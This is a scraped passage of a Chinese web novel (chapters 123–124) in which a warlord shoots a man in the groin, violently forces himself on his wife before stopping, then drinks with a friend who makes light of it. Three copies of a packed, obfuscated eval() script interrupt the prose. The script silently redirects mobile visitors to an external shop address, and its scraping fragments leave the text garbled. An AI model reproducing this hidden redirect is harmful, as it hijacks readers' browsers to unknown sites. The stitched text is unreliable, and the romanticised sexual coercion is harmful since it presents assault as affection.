;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022719|194284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句废话,直接抬臂,枪口下移——
“砰——!!!”
一声枪响,撕裂了督军府后院的宁静!
**精准地射入了白泽宇的胯下!
“啊——!!!”
比之前任何一次都要凄厉惨绝的嚎叫声从白泽宇喉咙里迸发出来!
他整个人像虾米一样蜷缩起来,身下瞬间漫开一大片刺目的血迹,剧痛让他连挣扎的力气都没有,两眼一翻,直接昏死过去。
“泽宇!!”白术业发出撕心裂肺的哭喊,想要扑过去,却被亲卫死死按住。
晏山青这才缓缓抬眼,看向涕泗横流,几乎崩溃的白术业,声音平静得可怕:“欺辱我夫人的代价。”
“督军!督军饶命啊!求求您……”白术业疯狂磕头,额头磕在青石板上,砰砰作响,很快就见了血。
“他明明在西医院治疗,被我的人看管着,如何能逃出来祸害我夫人?一定有人协助,既然不是你,那就是你夫人。”晏山青的声音没有一丝温度,“我不针对女人。该怎么处理,你心里有数吗?”
白术业浑身一震,惊恐地抬起头,对上晏山青那双毫无感情的眼睛,瞬间明白了他的意思——白夫人,保不住了。
他心如死灰,瘫软在地,哑着嗓子哭道:“有、有数,白某明白……谢督军……开恩……”
“处理干净,”晏山青收回目光,将枪随手扔给旁边的亲卫,“别脏了我夫人的院子。”
“是!”亲卫领命,立刻将昏死的白泽宇和瘫软的白术业拖了下去,只留下地上一滩触目惊心的血迹,被迅速赶来的下人冲洗干净。
一切发生得太快,太猝不及防。
江浸月站在门廊下,看着那滩迅速被水冲淡的血色,有些发怔。
这时,晏山青转过身,一步一步,走回她面前。
他高大的身影挡住了大半光线,阴影笼罩下来。
他身上还带着未散的硝烟味和凛冽的杀气,目光沉沉地落在她脸上。
“所以,”他缓缓开口,声音低沉,“你中招,是为了沈家。甚至,是自愿喝下那杯酒的。”
他要开始跟她算账了。
第123章
江浸月迎上他的视线,动了一下唇:“……被骗去沈家,确实是我太大意了,轻信了那封信。但喝酒……”
“当时那种情况,我别无选择……白泽宇是个疯子,他什么事都做得出来,我不能眼睁睁看着祖母和沈家无辜的人死在我面前。”
“……而且,我也并非全无准备,我有想好脱身的办法。”
晏山青语气嘲讽:“你的办法就是靠一根树枝?”
他冷道,“这不是办法,这是你在赌运气——赌你折下的树枝硬度足够刺穿人的脖子、赌白泽宇色迷心窍没有防备被你偷袭成功、赌你神志不清还能跑得比两个健壮的成年男人快、赌你这一路都能安全直到跑回督军府!”
“这里需要多少运气、多少巧合,你还敢说这就是你想好的‘办法’?!”
江浸月一时语塞。
当时情况危急,她确实没有时间想得更完善。
见她沉默,晏山青逼近一步,气息迫人:“你知不知道,如果今天你跑得慢一点,或者我没有刚好出门,你会是什么下场?”
江浸月心头微颤,低声说:“我知道危险,但我别无选择……”
晏山青盯着她,一字一句道:“你有选择。那就是不管沈家人,那时候直接从沈家离开,白泽宇不敢追你。”
江浸月呼吸一滞:“我怎么可能不管他们?祖母待我如同亲孙女,给过我很多疼爱和温暖,我怎么可能眼睁睁看着她死在我眼前?”
“你把他们看得比你自己的安危更重要。”晏山青的声音冷硬。
“他们是我的亲人!”江浸月情绪也上来了,声音微微拔高,“是亲人,我就不可能掉头就走!”
“如果你今天没跑掉呢?”晏山青往前一步,气息逼人,“如果你落在白泽宇手里,你想过会是什么下场吗?”
“……”江浸月想到那个可能性,身体忍不住轻轻颤抖了一下,手指在身侧攥紧了。
“回答我。”晏山青的声音带着不容置疑的命令。
江浸月咬着下唇,过了好一会儿,才抬起眼,声音有些发颤,却带着一种近乎执拗的坚持:
“我……我认为,人命比所谓的‘贞洁’更重要。”
晏山青看着眼前这张苍白却倔强的脸,心口愠怒。
她为了沈家人,可以连自己的安危和清白都不顾。
……那么在她心里,沈霁禾又该占着多重的分量?
这个认知让他胸口堵得发闷,怒火越烧越旺。
“难怪。”他冷笑一声,语气尖锐刺骨,“难怪你当初能为了保护沈家人,跑来跟我做交易,甚至嫁给我。那时候,你是不是也想着,‘人命比贞洁更重要’,把自己给了我,能保住那些‘亲人’,你觉得很值得,是不是?”
江浸月经历了这一晚的惊险和惊吓,身心本就疲惫脆弱,此刻听他说话如此难听,委屈和一股莫名的气性也冲了上来。
她眼眶发热,却强忍着,赌气般道:“值不值得,我自己心里有数。督军现在翻这些旧账,是觉得自己‘亏了’吗?”
晏山青被她这话彻底激怒,倏地上前一步,两人之间的距离一下拉近到能感受到彼此灼热的呼吸:
“我确实觉得很亏。”
“我到现在,不是还没‘得到’你吗?”
江浸月心尖一颤,被他眼中毫不掩饰的侵略性刺得心口发麻,手指攥得更紧,指甲几乎陷进肉里。
她偏过头:“……又不是我不给。明明是督军一直不来拿……买家买了东西不来取,倒怪商家不给,这是什么道理?”
“买家?商家?”晏山青重复着这两个词,忽地嗤笑一声,那笑声里没有半分温度,只有令人心惊的危险。
下一秒,江浸月只觉得天旋地转!
晏山青竟然直接弯下腰,一把将她扛了起来!
“啊!督军!你干什么?!”江浸月猝不及防,吓得惊叫,手脚并用地挣扎。
晏山青根本不理,扛着她大步走回内室,毫不怜惜地将她丢在了那张还残留着之前混乱的痕迹的床上。
江浸月被摔得头晕,下意识就要爬起来。
晏山青却已经欺身而上,单手就将她牢牢按了回去,另一只手撑在她耳侧,高大的身躯带着绝对的压迫感笼罩下来,阴影将她完全吞没。
他低下头,灼热的气息喷在她脸上,声音沙哑得可怕:“买家现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022720|194284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在就来取回他的东西,商家要拒绝?”
江浸月眼眶瞬间红了:“……”
晏山青捏住她的下巴,力道不轻,迫使她看着自己:“现在清醒了,是吧?清醒了就自己调整。再喊疼,我也不会停下来。”
说完,他不再给她任何说话的机会,狠狠吻住她的唇。
这个吻不带丝毫温情,只有惩罚般的啃噬和掠夺,带着他滔天的怒气。与此同时,他大手粗暴地扯开她刚刚穿好不久的衣襟,布料撕裂的声音在寂静的房间里格外清晰。
江浸月浑身战栗,在他身下抖得像秋风中的落叶,他毫不怜惜的触碰和侵略带来清晰的痛感,她死死咬住嘴唇,不止是将所有的呜咽和痛呼都咽了回去,还将眼泪也压下眼眶下,不准它们溢出来。
晏山青在近乎施虐的动作中抬起头,看到她的眼白红得像要滴血,可就是没有眼泪下来。
她就是不肯服软和求饶,她倔成这个样子,她犟成这个样子,他胸口那股邪火烧得更旺。
他捏住她的脸颊,迫使她睁开眼:“又在委屈什么?不是你自己说的,‘给’吗?”
江浸月又疼又气又委屈到了极点,看着他近在咫尺的手掌,忽然张嘴,狠狠一口咬下去!
!晏山青闷哼一声,掌心传来剧痛,他却没甩开,只是眼神更加幽暗地盯着她。
江浸月尝到了血腥味,但也没有放开。
她恨极了他,为什么要跟她吵架?为什么要这么对她?今天是她受到伤害不是吗?他能替她收拾了白泽宇,为什么不能温柔对待她?她又不是不肯给,为什么要用这么**人的方式?
她不是他的夫人吗?他就这样对待妻子吗?
晏山青也不管她的“报复”,更用力地分开她的双蹆,灼热的坚硬抵住那未经充分准备的柔软入口,蓄势待发。
“——!”江浸月抖得更加厉害,喉咙里发出一声破碎的呜咽。
就是这声呜咽,像一根细针,猝不及防地刺破了晏山青被愤怒和嫉妒蒙蔽的理智。
他看着她苍白的脸上交错的恐惧,颤抖不止的身体,还有那双被委屈和难看占据的眼睛,喉结剧烈滚动了一下。
第124章 你们……圆房了?
最终,晏山青用尽了全身力气,猛地从她身上离开,翻身下床。
离开时,他烦躁地一挥手,扯动了床边悬挂的纱帐,轻薄的帐幔滑落下来,将床上衣衫凌乱、狼狈不堪的江浸月半遮半掩地笼罩其中。
晏山青站在床边,背对着她,胸膛剧烈起伏,声音沙哑得像是被砂纸磨过:
“看你的样子,我一点兴致都没有!”
说完,他头也不回,大步流星地离开了房间,重重摔上了门。
巨大的关门声震得江浸月心脏剧烈一缩。
一秒、三秒、五秒……
确定他真的走了以后,强撑的堤坝轰然崩塌。
江浸月蜷缩起身体,抱住自己,将脸埋进枕头里,压抑了一整晚的恐惧、委屈、后怕,以及刚才的羞辱和疼痛,都化作难以抑制的痛哭,闷闷地传了出来。
一直候在外间不敢进来的明婶,在晏山青走后,才连忙推门进来。
看到纱帐后蜷缩着哭泣的江浸月,又看到地上撕裂的衣物,明婶心疼得眼圈都红了。
她连忙拿起一旁干净的被子裹住江浸月颤抖的身体,柔声哄道:“夫人,没事了,没事了,没事了……”
江浸月像终于找到能尽情释放自己情绪的港湾,转身投入明婶怀里,失声痛哭起来。
而门外,晏山青其实没有真的离开。
他靠在窗户边的墙壁上,指间夹着一支刚点燃的烟,猩红的火点在黑暗中明明灭灭。
窗户里传出的哭声,像一阵雨,细细密密地砸在他的心上。
他烦躁地吸着烟,一口接着一口,一根接着一根,直到第三支烟燃尽,屋里的哭声也渐渐低了下去,只剩下断断续续的抽噎。
晏山青将烟头狠狠摁灭在墙上,留下一个焦黑的痕迹。
他站在原地,又静静听了一会儿,直到里面再无声息,才转身,真正离开了垆雪院。
晏山青离开垆雪院后,没回自己院子,也没去军政处。
他径直驱车,在深夜空荡的街道上疾驰,最后停在了苏拾卷的私宅外。
没按门铃,也没等通报,他直接翻墙进了院子,熟门熟路地找到主卧,一脚踹开了房门。
苏拾卷这段时间为了江陵区项目善后和银行对接的事,忙得脚不沾地,好不容易逮着空睡个囫囵觉,正梦见那个唱着“霸王别姬”毫不犹豫投入他爹怀抱的薄情女人,就被一股大力直接从床上薅了起来!
“……谁啊?!啊?督军?”
苏拾卷被拎着领子晃醒,睡眼惺忪,看清眼前这张阎王似的冷脸后,那点起床气硬生生憋了回去。
他打了个哈欠,揉了揉胀痛的太阳穴,有气无力地问:“我的督军,这都几更天了?您老这又是怎么了?蒋临泽不是都已经滚出南川了吗?您怎么还不痛快啊?”
晏山青没理他,松了手,自顾自走到酒柜前,开了瓶最烈的威士忌,也不用杯子,对着瓶口就灌了一大口。
酒精灼烧着喉咙,却浇不灭心头的燥火。
苏拾卷从床上爬下来,双手叉腰,看他这副样子——军装外套被随意丢在沙发上,衬衫领口解开了两颗,袖子挽到手肘,头发也有些凌乱。
最关键的是,那张素来喜怒不形于色的脸上,此刻阴沉得能滴出水来,眼里全是压不住的烦闷和……一股子说不清道不明的郁气。
这火气……不一般啊。
苏拾卷脑子飞快转了一圈,把最近可能惹到这位大人的人和事过了一遍——白家完了,陈家黄了,江陵区的部署稳步推进,东湖那边安稳,北海那边安生……
想来想去,好像真没什么值得他大半夜跑来撒泼的。
哦,不对,家里头可能还有一位。
见晏山青只顾闷头喝酒不吭声,苏拾卷也懒得猜了,他这会儿脑子跟浆糊似的,超负荷运转了三天,实在转不动了。
他晃晃悠悠走到沙发边,把自己摔进柔软的垫子里,嘟囔道:“行行行,我这一柜子珍藏您随意,慢慢喝,慢慢生气,我再睡会儿……哈欠……天大的事也等明天再说……”
就在他眼皮打架,快要重新会周公的时候,晏山青突然开口,声音又低又沉,带着酒气和挥之不去的烦躁:
“江浸月。”
苏拾卷一个激灵,困意瞬间跑了大半。
他扭过头,看着晏山青线条冷硬的侧脸,然后,实在没忍住,“扑哧”一声笑了出来,越笑越大声,最后干脆捂着肚子在沙发上打滚。
“哈哈哈哈!还真是弟妹!又是弟妹!”
“督军大人,不是我说你,你怎么说也比人家大了五六七岁,能不能别总跟个小丫头一般见识?能让着点就让着点呗,干嘛生那么大气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022721|194284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
苏拾卷笑得眼泪都出来了,坐起身,擦了擦眼角,“要我说,你真气得不行的时候,就看看弟妹那张脸,多赏心悦目啊,娇滴滴的,跟朵花儿似的,对着那么一张脸,你还舍得真生气?”
“娇滴滴?”晏山青嗤笑一声,眼前浮现的却是刚才在床上,她明明疼得发抖、委屈得眼眶通红,却还是死死咬着嘴唇不肯落泪,直到他离开才放声大哭的倔强模样。
那哪里像朵花,分明是冻在冰里的刀子。
他仰头又灌了一口酒,辛辣的液体滑入喉管,声音带着嘲弄:“她骨子里,比死士和雇佣兵还倔。”
苏拾卷听得一愣:“什么意思?你……该不会对弟妹用刑了吧?”
他上下打量着晏山青,目光忽然定格在他敞开的领口处——昏暗灯光下,靠近锁骨的地方,似乎有一小块红痕。
苏拾卷眼睛一眯,伸手就去扯晏山青的衬衫领子,想看得更清楚些。
“啪!”
晏山青毫不客气地拍开他的爪子。
但苏拾卷已经看清楚了,那确实是吻痕,还是新鲜的。
他顿时来劲儿了,也不困了,凑近了点,压低了声音,带着点促狭和好奇问:“你们……圆房了?”
可转念一想,不对啊,圆房了还这副火冒三丈的样子:“还是说,圆了一半,没成?”
晏山青脸色黑了几分,没承认,但也没否认。
苏拾卷饶有兴致地追问,“为什么没成的?总得有个原因吧?该不会是弟妹在你床上,喊了沈霁禾的名字吧?”
“沈霁禾”三个字一出口,晏山青冰冷的眼刀就射了过来,带着明显的戾气。
苏拾卷识趣地闭嘴,重新倒回沙发上。
客厅里安静下来,只剩下晏山青偶尔灌酒的声音。
过了好一会儿,苏拾卷望着天花板,认真地劝解:
“山青,你娶她之前,不就知道她嫁过沈霁禾吗?”
“人家毕竟做了三年夫妻,总有情分在。她嫁给你才半年,要是转头就把前头三年的情谊忘得一干二净,那样凉薄寡情的女人,你敢娶?敢要吗?”
他侧过头,看着晏山青紧绷的侧脸线条,“弟妹已经够识时务,够懂分寸了。人吧,有时候得有点大局观,别老盯着那点陈年旧醋喝。跟自己和他人过不去,何必呢?”